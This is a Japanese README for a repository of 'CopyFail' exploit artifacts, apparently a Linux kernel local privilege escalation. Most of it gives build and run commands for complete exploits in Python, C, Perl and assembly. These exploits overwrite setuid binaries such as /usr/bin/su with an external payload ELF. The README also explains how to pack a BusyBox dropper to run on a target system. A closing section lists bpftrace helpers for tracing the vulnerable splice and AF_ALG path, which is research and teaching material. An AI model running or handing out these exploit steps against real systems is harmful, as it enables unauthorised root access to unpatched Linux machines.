CopyFailの解説のためのアーティファクトとスクリプト。
詳細な解説:
proof-of-concept/ には、解説で使用したプリミティブのみのデモが含まれています。exploit-scripts/ には、Python、C、Perl、および x86_64 アセンブリによる完全なエクスプロイト実装が含まれています。bpftrace-scripts/ には、ランタイム解析中に使用する小さなトレーシングヘルパーが含まれています。Perl、アセンブリ、および BusyBox のアーティファクトのみが外部の置き換え ELF を必要とします。以下の例では、そのファイルは payload.pwnkit.elf と命名されていますが、任意のファイル名で構いません。
そのペイロードはこのリポジトリ内では生成されません。まず解説のペイロードワークフローに従ってビルドし、生成された ELF を実行したいアーティファクトと同じ作業ディレクトリに配置してください。
プリミティブ PoC と Python/C のエクスプロイトドライバは、そのまま直接実行可能です。
これらの PoC は主に解説でのデモンストレーション用です。独立した上書きプリミティブを示しており、完全な置き換え実行ワークフローではありません。
Python デモを実行するには、PoC ディレクトリに移動してスクリプトを実行します:
cd proof-of-concept
python3 copyfail_poc.py
C デモを実行するには、まずビルドしてから生成されたバイナリを実行します:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
Python エクスプロイトは自己完結型で、置き換えバイトをスクリプト自体に保持しています。
エクスプロイトディレクトリに移動し、デフォルトのターゲットパスを実行:
cd exploit-scripts
python3 exploit.py
異なるターゲットベース名を使用する場合は、最初の引数として渡してください。チャンクごとの上書きログを有効にするには DEBUG=1 を設定:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
C エクスプロイトも自己完結型です。別の置き換えをステージングしたい場合は、まず exploit-scripts/exploit.c の PAYLOAD_BYTES を編集してください。
静的バイナリ(オプション)を以下のようにビルド:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
その後、デフォルトターゲットを実行するか、異なるベース名を渡してください。デバッグログは DEBUG=1 で制御:
./exploit
./exploit su
DEBUG=1 ./exploit su
このバージョンは、スクリプトに置き換えバイトを埋め込む代わりに、外部 ELF ペイロードを読み取ります。
エクスプロイトディレクトリから実行します。追加引数なしでは、デフォルトのターゲットとデフォルトのペイロードパスを使用します:
cd exploit-scripts
perl exploit.pl
被害パスとペイロード ELF の両方を明示的に選択したい場合は、引数として渡してください。デバッグログも DEBUG=1 で制御:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
このバージョンも外部 ELF ペイロードを消費します。以下の例では payload.pwnkit.elf と命名されていますが、任意のファイル名を使用できます。名前を変更した場合は、exploit-scripts/exploit.asm の incbin 行をそれに合わせて更新してください。
nasm と ld でアセンブリドライバをビルド:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
その後、デフォルトのターゲットを実行するか、完全なターゲットパスを渡してください:
./exploit_asm
./exploit_asm /usr/bin/su
これは、アセンブリドライバと外部ペイロード ELF を 1 つの BusyBox 互換ランナーにパックします。以下の例では payload.pwnkit.elf を使用していますが、パッカーに同じパスを渡せば任意のペイロードファイル名で構いません。
エクスプロイトディレクトリからドロッパーを生成:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
ターゲットシステムで、生成されたスクリプトを BusyBox sh で実行:
busybox sh ./copyfail-busybox.sh /usr/bin/su
トレーシングヘルパーを実行する前に、関連するシンボルが利用可能であることを確認:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
ファイルページがスプライスパスに入るのを観察するには、実行:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
パイプバックデータが AF_ALG に到達するのを観察するには、実行:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
脆弱な authencesn 復号コールバックを観察するには、実行:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt